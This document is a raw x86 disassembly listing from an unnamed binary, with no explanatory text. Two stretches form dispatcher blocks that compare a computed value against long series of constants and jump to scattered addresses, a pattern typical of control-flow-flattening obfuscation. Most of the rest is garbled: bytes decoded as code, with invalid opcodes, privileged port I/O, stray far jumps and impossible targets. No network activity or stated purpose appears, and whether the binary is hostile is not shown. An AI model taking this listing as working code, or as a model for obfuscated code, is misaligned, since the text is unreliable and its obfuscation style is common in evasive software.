mov dword [0x6bdaabc4], eax
mov al, al
dec ebx
inc eax
jne 0x6e028bc5
dec esi
cmp ch, byte [ecx - 0x7d8c0738]
sar dword [0x5cedc013], cl
pop es
push es
jns 0x6e028b47
or esp, edi
add eax, 0x321ca268
jns 0x6e028c12
push es
outsb dx, byte [esi]
sbb ch, byte [ebp - 0x3dc5fa18]
cmp al, dl
js 0x6e028bd9
daa
cld
sub byte [edi + 0x26], ch
xor dword [esi + ebp*8 + 0x7d7678dc], 0x269f1d6d
xor al, byte [edi - 0x25]
mov ch, 0x9b
stosd dword es:[edi], eax
shr bh, 1
dec edi
adc ah, byte [ebx + 0x37]
aad 0x9f
jo 0x6e028c2e
loopne 0x6e028c23
mov ecx, 0x6fdb1830
or eax, 0xd98d8a4f
fst dword [ecx]
cli
dec edi
mov cl, byte [ebp - 0x5ee2627]
mov al, byte [0x41d17dd2]
jns 0x6e028b8a
or dword [edi], esp
sbb eax, 0xd5742444
adc eax, 0xdcec9295
invalid
xor dword [eax - 0x5a], esp
adc eax, 0x69f6af1e
and edx, dword [ebp - 0x2742c943]
retf
bnd jle 0x6e028bab
mov edi, 0xf21dfb2d
inc esi
add eax, 0xa3fda005
invalid
nop
jmp 0x6e02a2f7
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 6
lea eax, [ebp - 0x351]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x130], 0x5d3cb
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x138], 0xe505
mov dword [ebp - 0x134], 0
mov ecx, dword [ebp - 0x130]
mov ebx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 0x134]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], edx
mov eax, dword [ebp - 0x140]
xor eax, 0xd0c43
or eax, dword [ebp - 0x13c]
je 0x6e0436f2
mov edx, 0xd0c43
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0xc69b4
or eax, dword [ebp - 0x13c]
je 0x6e034c42
mov edx, 0xc69b4
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0xbebed
or eax, dword [ebp - 0x13c]
je 0x6e0363ba
mov edx, 0xbebed
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0xb6b90
or eax, dword [ebp - 0x13c]
je 0x6e031d52
mov edx, 0xb6b90
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x9fdc8
or eax, dword [ebp - 0x13c]
je 0x6e041f7a
mov edx, 0x9fdc8
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x90c97
or eax, dword [ebp - 0x13c]
je 0x6e02ee62
mov edx, 0x90c97
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x8ca2b
or eax, dword [ebp - 0x13c]
je 0x6e02d6ea
mov edx, 0x8ca2b
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x7ebc2
or eax, dword [ebp - 0x13c]
je 0x6e0305da
mov edx, 0x7ebc2
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x7e533
or eax, dword [ebp - 0x13c]
je 0x6e02bf72
mov edx, 0x7e533
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x7a0c4
or eax, dword [ebp - 0x13c]
je 0x6e037b32
mov edx, 0x7a0c4
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x715d2
or eax, dword [ebp - 0x13c]
je 0x6e0465e2
mov edx, 0x715d2
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x6b8d0
or eax, dword [ebp - 0x13c]
je 0x6e04c3c2
mov edx, 0x6b8d0
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x5ef04
or eax, dword [ebp - 0x13c]
je 0x6e047d5a
mov edx, 0x5ef04
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x59dab
or eax, dword [ebp - 0x13c]
je 0x6e03c19a
mov edx, 0x59dab
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x58f7a
or eax, dword [ebp - 0x13c]
je 0x6e03aa22
mov edx, 0x58f7a
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x45496
or eax, dword [ebp - 0x13c]
je 0x6e03d912
mov edx, 0x45496
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x42c5e
or eax, dword [ebp - 0x13c]
je 0x6e0494d2
mov edx, 0x42c5e
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x385cf
or eax, dword [ebp - 0x13c]
je 0x6e044e6a
mov edx, 0x385cf
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x353b6
or eax, dword [ebp - 0x13c]
je 0x6e0392aa
mov edx, 0x353b6
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x2deb8
or eax, dword [ebp - 0x13c]
je 0x6e02a7fa
mov edx, 0x2deb8
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x25a5d
or eax, dword [ebp - 0x13c]
je 0x6e04ac4a
mov edx, 0x25a5d
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
mov eax, dword [ebp - 0x140]
xor eax, 0x202bb
or eax, dword [ebp - 0x13c]
je 0x6e03f08a
mov edx, 0x202bb
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x6e04c3bf
sbb eax, dword [edx]
add byte [ebx - 0x13f7b], cl
push dword [0xb925]
mov eax, dword [ebp - 0x140]
xor eax, 0xb925
or eax, dword [ebp - 0x13c]
je 0x6e040802
mov eax, dword [ebp - 0x140]
xor eax, 0x10dd3
or eax, dword [ebp - 0x13c]
je 0x6e0334ca
jmp 0x6e04c3bf
insd dword es:[edi], dx
and byte [edi - 0xd], ah
mov esp, 0x2271eeb3
dec esp
ja 0x6e02a812
or al, 0x7a
jo 0x6e02a7c4
or edi, edx
imul eax, ebp, 0xffffffe9
aaa
into
mov ecx, 0xb7745b9d
mov ecx, 0xb7745b9d
lea ebp, [ecx - 0x1252573e]
adc byte [esp + ecx + 0x11], ch
out 0x41, eax
xchg dword [ecx - 0x71a07457], esp
jb 0x6e02a839
and eax, edx
ret 0xad81
out dx, al
mov edx, 0xfb66dc93
enter 0xffffffffffffa28f, 0x16
je 0x6e02a84c
mov al, 0x19
out dx, al
retf 0xda0a
and eax, edi
retf
mov eax, 0x612e08e6
cmpsb byte gs:[esi], byte es:[edi]
sub edx, dword [ecx]
dec edi
stc
lahf
outsb dx, byte [esi]
not dword [eax - 0x52]
add dh, byte [ebx - 0x29]
mov ebp, 0x5f580407
and eax, 0xcc9035f0
jmp 0x6e04c3c3
mov ah, 0xd7
jns 0x6e02bf50
out dx, al
xchg dword [eax + ebx - 0x58], ebp
mov ah, 0xb6
mov al, 0x9a
cmp dword [ecx - 0x1fd6b32], esp
mov ah, 0x48
push 0xe
and byte [0x604b6e82], 0x4e
mov ah, 0x2b
dec ebx
loop 0x6e02c001
jno 0x6e02bf78
lea edx, [edi]
int 0x8d
neg cl
sbb al, 0x4c
mov ecx, 0x57e2e218
dec esp
aad 0xcb
jmp 0x2e213cc9
iretd
or bh, byte [esp + eax]
insd dword es:[edi], dx
push 0xffffffffffffff8f
xchg ecx, eax
sub bl, bl
fld xword [ecx + 0x569681fb]
ficom word [edi]
int1
invalid
sbb ebx, dword [bp + si + 0x36]
sbb eax, 0x13b11101
jb 0x6e02ee92
adc ch, byte [ebp - 0x80]
mov cl, byte [edx + 8]
or al, 0x92
div dword [ecx - 0x467d91e5]
jle 0x6e02eec7
test al, 1
sbb dword [esp + edx*4 + 0x1a], edx
fld st(0)
movsd dword es:[edi], dword [esi]
pop es
add al, 0x9f
jno 0xd2fbf567
in eax, 0xbd
ret
ret
sub ah, al
je 0x6e02eee8
sbb eax, 0xd5052550
invalid
loopne 0x6e02eea7
sbb byte [esi - 0x56], dl
sbb eax, 0x3d39ac9e
ljmp 0x9cf0
sbb al, 0xeb
ret
aaa
and dh, byte [esi - 0x79]
adc al, 0xcf
fcomp st(3)
ror byte [ebx + ebx], cl
int 0xf1
cmpsd dword [esi], dword es:[edi]
scasb al, byte es:[edi]
mov bh, 0x4b
mov bh, 0x76
push ecx
push 0xab039c61
mov ch, bl
dec esp
leave
dec ecx
mov cl, 0x88
dec eax
jb 0x6e030620
mov dword [eax + 0x2c], eax
xchg edi, eax
imul esi, esp, 0x7f97008e
hlt
mov ebp, 0x60e6d3dd
add byte [ecx], ah
pop eax
fiadd word fs:[eax + edx]
add bh, al
adc byte [ecx], 0xc2
fnstcw word [edx]
cmp byte [eax - 0x35], 2
out dx, al
mov eax, dword [0x4b2dcf04]
in eax, 0x23
int3
pushal
scasd eax, dword es:[edi]
lodsb al, byte [esi]
xor al, 0x3b
je 0x6e031dcb
mov ch, 0xb2
mov ah, 0x4d
push edx
cvtpi2ps xmm2, mm1
pop ss
push ds
int1
xchg byte [ecx], dh
mov byte [0x1cd1c79b], al
mov ecx, 0xf1f9477a
mov dl, 0x9f
push 0xffffffffffffffde
inc edi
sal bh, 1
sub eax, 0x3fadd674
mov bh, 0xb7
std
add ecx, dword [esi - 0x794ccc3f]
wait
mov dh, 0x8b
xchg edi, eax
wait
dec ecx
nop
or dword [edi + 0x79], 0x89b40da8
xor al, 0x1b
fbstp tbyte [eax - 0x1b]
movsd dword es:[edi], dword [esi]
iretd
outsd dx, dword [esi]
dec ecx
push 0xffffffffffffff8e
cli
scasb al, byte es:[edi]
ljmp 0xa5a0
in eax, 0x2b
adc al, 0xfc
jbe 0x6e0334f4
fmul dword [ebx]
out 0xa0, al
invalid
imul esi, esp, 0xb3edee79
out 0xb8, al
shr byte [edx + 0x4e3aeecd], 0xf6
out dx, eax
repe cmpsd dword [esi], dword es:[edi]
les edx, [edi + 0x68fa929d]
test al, 0xa3
out 0x3f, eax
scasb al, byte es:[edi]
xchg edi, eax
je 0x6e033578
xchg esp, eax
add dword [ebp + 0x3d832bf0], 0x82121b9e
dec ebp
mov dword [esi - 0x6d], 0x3cda236d
inc ebp
adc cl, byte [eax]
stosb byte es:[edi], al
out dx, al
popal
inc esp
pop ebp
enter 0x6327, 0xffffffffffffffb6
mov dword [0xf6e03055], eax
xchg sp, ax
mov ah, 0xa1
std
sbb dword [edx + ebp + 0x64dbf0ee], ebx
iretd
dec edi
arpl word [ecx - 6], dx
xchg esi, eax
mov esp, 0x61767c07
invalid
mov cl, 0x8f
ja 0x6e034caf
cld
xor byte [edi], dl
imul ecx, dword [edi - 0x2b], 0xcb9edfd
sub dword [eax], ecx
arpl word [edi - 0x19], di
sbb dword [edi], esi
into
inc esi
xchg ch, bl
ljmp 0xb6c7
xchg edx, eax
dec esp
aas
push ss
stc
push edi
and ebx, esp
lds edi, [ebx - 0x44068f1a]
daa
rcr ebp, cl
dec eax
push ss
xchg edx, eax
sub eax, 0x4f7be5da
invalid
sbb ebx, dword [ebp - 0x5c]
js 0x6e0363d5
sub dword [ebx + 0x27], esp
push ecx
push cs
bound ecx, qword [ecx]
aam 0xc2
daa
pop ebp
dec ebp
mov esp, 0x60f88071
je 0x6e0363c8
sahf
ret
cmp esp, dword [ebx + 0x77]
invalid
push edi
rcl dword [ecx - 0x7b50dc7], cl
inc esi
or eax, 0xa9e6478c
lodsb al, byte [esi]
mov ah, 0xcb
xor cl, 0x7d
sbb al, 0x35
hlt
dec eax
push eax
ret
cmp esi, dword [edx + 0x3b619e24]
jbe 0x6e037af8
inc eax
mov bl, 0x88
or ch, ah
aaa
xor byte [edi], ch
aaa
clc
xor edx, dword [ecx + 0x74]
sbb ebx, dword [ebp + 0x48cd4c04]
jg 0x6e037b26
scasb al, byte es:[edi]
lodsb al, byte [esi]
push 0xffffffffffffffed
dec ebp
retf 0xdccc
sub eax, 0x60839b01
mov ebx, 0x85a9c7b9
cld
retf 0x5267
movsw word es:[edi], word [esi]
add dword [0xd20297c7], ebx
mov byte [edi + 0x5bcf05c5], 0x8e
dec eax
dec edx
stosd dword es:[edi], eax
invalid
inc ecx
jbe 0x791c63af
pop ss
or esi, dword [ebx + 0x4da3b274]
invalid
pop ecx
push 0x2a
adc eax, 0x22fd6ae7
lcall 0x1560, 0xeb04f95
rcr dword [0x46bddd82], cl
pop dword [ebp - 0x3e]
xor dword [esi], ebp
enter 0x3c4e, 0xffffffffffffff87
jle 0x6e03d914
ljmp 0x42c9:0x8b7ffab7
mov esi, 0x8719ef3a
nop
in al, dx
test al, 0x9c
jecxz 0x6e03d88e
dec edx
sub al, 0x8c
popfd
sbb esp, esi
adc dword [esi], ebx
xor dword [edi - 0x77], ecx
sub al, 0xa8
cmp dl, byte [ecx + 0x2f]
out 0x34, eax
test byte [esi], ah
inc eax
cmp byte [ebx - 9], cl
sysexit
jmp 0x46ad0a8
inc esi
ficomp word [edx - 0x3806d35a]
or al, 0x90
lcall 0x900c, 0xc7f92ca6
cmp ebx, dword [ebx]
xchg edx, eax
sbb eax, 0xc73a484d
push eax
xlatb
inc eax
push cs
mov eax, dword [ebx - 0x7c4b894e]
and byte [ecx + 0x388aa42f], al
inc ebp
movsb byte es:[edi], byte [esi]
jge 0x6e03d8c2
or al, 0x61
invalid
mov cl, 0x86
stosb byte es:[edi], al
inc edi
or esp, dword [edx + 0x4c]
mov eax, 0x4ec55aae
dec ebp
bound ecx, qword [eax + edi*4 - 0x52]
pop edx
lds ecx, [esi + 0x4d]
loop 0x6e03f116
outsd dx, dword [esi]
movsb byte es:[edi], byte [esi]
and al, 0x39
and dh, dh
push eax
inc esp
cmpsb byte [esi], byte es:[edi]
test dword [edi - 0x12], esi
cmp ah, 0xab
loop 0x6e03f08f
inc ebp
sbb eax, 0x221e982d
loope 0x6e03f0d7
dec ebp
add byte [ebx - 0x3e], 0xe6
jmp 0x5cef2f3b
mov dword [edx + 0x659a5641], esi
popal
invalid
sti
imul esp, esi, 0x84426358
out 0x87, eax
xor eax, 0x61137e11
popal
invalid
sal byte [edi - 0x69], 1
popal
cmp esp, dword [eax - 0x485d26c1]
test al, 0xa4
push ds
push esp
stosd dword es:[edi], eax
sub cl, ch
into
fld st(6)
call 0x274ef685
dec esi
dec eax
and ebx, dword [ebx + ebx*4 - 0x1c7ff41f]
das
add eax, 0x302e2987
jle 0x6e03f0ee
int1
sub eax, 0x3ac65dae
mov ah, 0x14
cmp byte [ecx - 0xf753f83], cl
and byte [edi - 0x3dbb84e6], cl
hlt
aad 0x70
and dword [edx + edi*4 + 0x1a], eax
out dx, al
iretd
add eax, 0x889fddfe
xchg esp, eax
jb 0x6e040846
or eax, 0x3e0ac2b5
mov al, byte [0x2c3319ea]
sbb eax, 0x618f268c
pop edi
jle 0x6e0407c7
test eax, 0x68741485
dec esi
salc
adc dl, al
movsd dword es:[edi], dword es:[esi]
sub esi, dword [ebx + eax + 0x2dddd62]
int3
push esp
adc byte [ecx + 0x1c], 0x37
invalid
pushfd
mov dh, 0x2d
mov dh, 0x7a
dec ecx
ret
jbe 0x6e04370a
fistp dword [eax - 0x42ef3979]
and edi, dword [eax - 0x51]
push esp
dec ecx
mov ch, 0x22
mov dword [0x3320a08b], 0x38d02c30
push es
and al, bh
add eax, 0x3320a08b
xor byte [eax + edx*8], ch
cmp byte [esi], al
push ds
test al, 0x92
mov al, byte [0x66006534]
leave
dec edx
pop esp
and bh, byte [esi + 0x7c1ddb6a]
adc dword [edx - 0x53], edx
movsb byte es:[edi], byte [esi]
rcr dword [ecx - 0x64815c5b], cl
cmp dword [ebx], esi
arpl word [ebx - 0xed63cf6], si
cmpsb byte [esi], byte es:[edi]
call 0xbf93d54d
add eax, 0x108aac02
inc ebp
pop ss
loop 0x6e043760
cld
pop edx
mov esp, 0xa3a98ab3
cmp al, ah
mov bh, 0x52
and eax, 0xa1383e6e
mov al, 0x10
daa
lodsb al, byte [esi]
pop ebp
cmpsb byte [esi], byte es:[edi]
push esp
fild qword [edi + 0x1c]
invalid
push ecx
popal
out dx, eax
xchg edx, eax
sahf
out 0x5d, eax
adc dword [ebp + 7], edx
cmp al, 0xa4
dec ebp
out dx, eax
pop ebx
jbe 0x6e043700
push edx
lodsd eax, dword [esi]
add edx, edi
sbb edi, dword [ecx*4 - 0xb6c544a]
pushfd
mov cl, 0xa0
insb byte es:[edi], dx
invalid
imul edx, edi, 0x9768b8f5
xchg ecx, eax
fist word [edi - 0x5d]
pushal
invalid
nop
int3
pushfd
aaa
daa
xchg esp, eax
mov esi, 0x3bbd5b3e
jecxz 0x6e044e3a
xlatb
bound edx, qword [ecx + 0x33e87737]
in eax, dx
lahf
ficomp word [edi + 0x496357a4]
mov ecx, 0xc3a7a22b
inc edx
mov ch, 0x98
popal
lds edx, [eax]
jecxz 0x6e044e63
sbb byte [eax + 0x40], 0x50
cmp dword [esi + eax], edx
cld
wait
sub ebp, dword [edi + edi*4 - 0x457503be]
fadd st(6)
push ecx
ret
sub ah, byte [ecx + 0x2d944eaa]
shl byte [ebx], 1
inc edx
ja 0x6e046611
mov dword [edi - 0x56], 0xca67e5c9
add al, 0x1d
invalid
dec eax
dec esi
dec esi
xchg esp, eax
out 0xb5, eax
cmp byte [esi + edx*8], ah
aad 0x61
mov al, byte [0x82a0b0d9]
jl 0x6e04660d
sbb dl, byte [edi + 0x4f]
int3
test edx, ebx
xor al, 0x63
or bh, al
salc
push es
add byte [ebx + 0x71e68a88], ch
cmpsd dword [esi], dword es:[edi]
mov ah, dh
jno 0x6e0465c3
dec esp
fist dword [ebx]
aam 0x9e
or edx, dword [edx]
rol al, cl
dec edx
push esp
mov esp, 0xd8b5b805
add byte [ecx + 0x3e9c5ee4], bh
std
or dl, ah
mov cl, byte [eax + ebp*8 - 0x1c]
mov edi, 0xe0c452d
call 0xb3322620
or al, 0xe
wait
xchg byte [edi], ch
sbb esp, ebp
and dword [edx], ecx
mov byte [edi + ecx*2 - 0x4d], ch
mov edx, 0x517c9623
or dword [esi + 0x1a], edi
or dl, ch
std
dec ecx
xor ch, byte [ecx - 0x1d]
or eax, 0xc407d845
call 0x492d40ff
and byte [ebx - 0x1cf970c9], 0x4d
push eax
adc edx, dword [esi - 0x61]
mov ecx, 0x5e00ddd4
inc esp
dec edx
fistp word [ebp - 0x3f82277]
xor ah, byte [ecx + 0x78b77f77]
xchg esi, eax
jg 0x6e046637
js 0x6e046618
pop esi
mov esi, 0x1462c89e
test byte [edi + 0x6e1d733a], al
jo 0x6e04667e
and al, 0xba
mov dl, ah
clc
cmp eax, 0x58e564ba
adc byte [edi - 0x30], cl
ret
cmp dword [ecx + 0x4e1c0984], 0xffffffd8
dec edi
push esi
pminsw mm7, qword [ebx + eax*4 + 0x5961f9ab]
push edx
and eax, 0xa2052aea
cmp byte [edi + 0x2870fd0e], bh
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
push esp
inc esi
iretd
jmp 0x6e0494aa
xor dword [ebx], ecx
sub ebx, esi
adc cl, ah
push di
jmp 0x6e04948e
jge 0x6e049519
shr dword [eax - 0x4f02d41f], cl
mov edi, 0x31f9f9fe
xchg ecx, eax
mov ah, 0xb9
ror byte [eax - 0x4e33ced1], 0x28
cmpsb byte [esi], byte es:[edi]
jno 0x6e0494a8
insd dword es:[edi], dx
les esi, [edi + edi*2]
or byte [ebp + ebp*4 + 0x76], 0x92
popfd
out dx, al
outsd dx, dword [esi]
scasd eax, dword es:[edi]
cld
xor dword [ecx + 0x191f3361], ebp
mov bh, 0xd3
mov ebx, esp
out 0xd3, al
pushal
call 0x75a112c8
mov al, byte [ebp + edx*2 + 0x1911be7b]
mov byte [0x19561daf], al
sbb bl, al
dec eax
test al, 0xca
or eax, 0x2b7d4b73
aaa
and dword [ebp - 0x56], edi
mov edi, 0xc9c7c4e9
cli
and dword [esi], ebx
lodsd eax, dword [esi]
cwde
fisttp qword [eax - 0x1a]
enter 0x7fb4, 0x59
xchg ebp, eax
iretd
dec edi
sub dword [ebp + 0x65e5f53a], 0x285b61a3
pop edx
aaa
xchg byte [eax + 0xa162d65], bl
xlatb
push ss
adc al, 0xa2
shl dword [ecx], cl
xor eax, esp
in eax, 0xa
sbb dword [edx - 0x14], ebx
pop ebx
sub dword [edi], 0x16
sub byte [esi], ah
movsb byte es:[edi], byte [esi]
jae 0x6e04acc3
and dword [ebx + 0xbe50999], esi
mov ebx, 0x23116cee
and edx, dword [edi + 0x4a455432]
pushfd
adc eax, 0x62bd8d3d
and ebx, 0xffffffee
mov esp, 0xd1f26b4d
imul esi, edx, 0xffffffd1
jnp 0x6e04acd6
add edi, dword [ecx - 0x2adfe913]
push esp
sal dword [ecx - 0x4aa15df8], cl
cmp byte [ecx - 0x1e], 0xb
jecxz 0x6e04acae
js 0x6e04acf8
invalid
fidiv word [ebx - 0x7b]
invalid
test esi, eax
adc byte [edx + 0x4e], ch
add eax, 0xaef92446
sub al, 0x9a
jmp 0x6e04ac90
pushfd
shl dword [ebp + 0x18c14f78], 0xab
adc edx, dword [esi + 0x12]
xchg edx, eax
mov ebx, dword [ecx + 0x56fed2a9]
jb 0x6e04ac5d
and ecx, dword [edx + 6]
and eax, 0xb6b2116a
out 0x10, al
jnp 0x6e04acac
mov al, 0x29
hlt
ret 0xbeb7
nop
jmp 0x6e04c3c3
nop
mov dword [ebp - 0x359], 0x12272c23
mov dword [ebp - 0x355], 0x2c0c
mov dword [ebp - 0x148], 0xe715f
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x150], 0x8153e
mov dword [ebp - 0x14c], 0
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x144]
sub eax, dword [ebp - 0x150]
sbb edx, dword [ebp - 0x14c]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x158]
xor eax, 0xede1b
or eax, dword [ebp - 0x154]
je 0x6e06b55d
mov edx, 0xede1b
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xe7dff
or eax, dword [ebp - 0x154]
je 0x6e050eed
mov edx, 0xe7dff
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xdb587
or eax, dword [ebp - 0x154]
je 0x6e055555
mov edx, 0xdb587
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xca457
or eax, dword [ebp - 0x154]
je 0x6e05b335
mov edx, 0xca457
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xc2053
or eax, dword [ebp - 0x154]
je 0x6e066ef5
mov edx, 0xc2053
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xb7abc
or eax, dword [ebp - 0x154]
je 0x6e05f99d
mov edx, 0xb7abc
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0xa0601
or eax, dword [ebp - 0x154]
je 0x6e056ccd
mov edx, 0xa0601
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x93c02
or eax, dword [ebp - 0x154]
je 0x6e052665
mov edx, 0x93c02
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x8a0af
or eax, dword [ebp - 0x154]
je 0x6e05e225
mov edx, 0x8a0af
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x87f38
or eax, dword [ebp - 0x154]
je 0x6e059bbd
mov edx, 0x87f38
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x73fa5
or eax, dword [ebp - 0x154]
je 0x6e053ddd
mov edx, 0x73fa5
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x69fa4
or eax, dword [ebp - 0x154]
je 0x6e061115
mov edx, 0x69fa4
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x67a54
or eax, dword [ebp - 0x154]
je 0x6e04f775
mov edx, 0x67a54
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x65c21
or eax, dword [ebp - 0x154]
je 0x6e06ccd5
mov edx, 0x65c21
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x5ebaf
or eax, dword [ebp - 0x154]
je 0x6e069de5
mov edx, 0x5ebaf
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x5aa13
or eax, dword [ebp - 0x154]
je 0x6e06577d
mov edx, 0x5aa13
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x4aeca
or eax, dword [ebp - 0x154]
je 0x6e04c885
mov edx, 0x4aeca
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x494ee
or eax, dword [ebp - 0x154]
je 0x6e04dffd
mov edx, 0x494ee
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x2f8b6
or eax, dword [ebp - 0x154]
je 0x6e06288d
mov edx, 0x2f8b6
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x2e29c
or eax, dword [ebp - 0x154]
je 0x6e06866d
mov edx, 0x2e29c
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x12625
or eax, dword [ebp - 0x154]
je 0x6e064005
mov edx, 0x12625
mov eax, 0
cmp edx, dword [ebp - 0x158]
sbb eax, dword [ebp - 0x154]
jl 0x6e06ccd2
mov eax, dword [ebp - 0x158]
xor eax, 0x6065
or eax, dword [ebp - 0x154]
je 0x6e058445
mov eax, dword [ebp - 0x158]
xor eax, 0xb73d
or eax, dword [ebp - 0x154]
je 0x6e05caad
jmp 0x6e06ccd2
jnp 0x6e04c89d
adc al, 8
nop
hlt
dec edx
imul ebp, dword [ebp + 0x331fc251], 0xffffffb9
lodsd eax, dword [esi]
push ecx
ret 0x331f
mov ecx, 0x647856b3
dec esi
mov cs, word [ebp + ecx*8 - 0x6d]
